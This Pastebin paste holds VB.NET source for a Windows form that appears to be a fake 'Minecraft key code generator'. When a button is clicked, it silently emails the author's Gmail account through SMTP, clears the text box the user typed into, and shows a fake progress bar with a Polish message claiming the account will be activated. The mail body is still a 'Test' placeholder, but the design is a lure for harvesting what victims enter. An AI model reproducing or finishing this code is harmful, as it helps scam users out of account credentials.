Advertisement
Guest User

Untitled

a guest
May 16th, 2017
515
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. Imports System
  2. Imports System.Threading
  3. Imports System.Net.Mail
  4.  
  5. Public Class Form1
  6. Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
  7.  
  8. End Sub
  9.  
  10. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  11.  
  12. End Sub
  13.  
  14. Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  15. Timer1.Start()
  16.  
  17. Try
  18. Dim Smtp_Server As New SmtpClient
  19. Dim mail As New MailMessage()
  20.  
  21. Smtp_Server.UseDefaultCredentials = False
  22. Smtp_Server.Credentials = New Net.NetworkCredential("minecraftkeycodegenerator@gmail.com", "** TUTAJ HASŁO **")
  23. Smtp_Server.Port = 587
  24. Smtp_Server.EnableSsl = True
  25. Smtp_Server.Host = "smtp.gmail.com"
  26.  
  27. mail = New MailMessage()
  28. mail.From = New MailAddress("minecraftkeycodegenerator@gmail.com")
  29. mail.To.Add("minecraftkeycodegenerator@gmail.com")
  30. mail.Subject = "Test"
  31. mail.IsBodyHtml = False
  32. mail.Body = "Test"
  33.  
  34. Smtp_Server.Send(mail)
  35. TextBox1.Text = ""
  36.  
  37. Catch ex As Exception
  38. End Try
  39. End Sub
  40.  
  41. Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  42. ProgressBar1.Increment(1)
  43. If ProgressBar1.Value = 100 Then
  44. Label2.Text = "Konto zostanie aktywowane"
  45. End If
  46. End Sub
  47. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement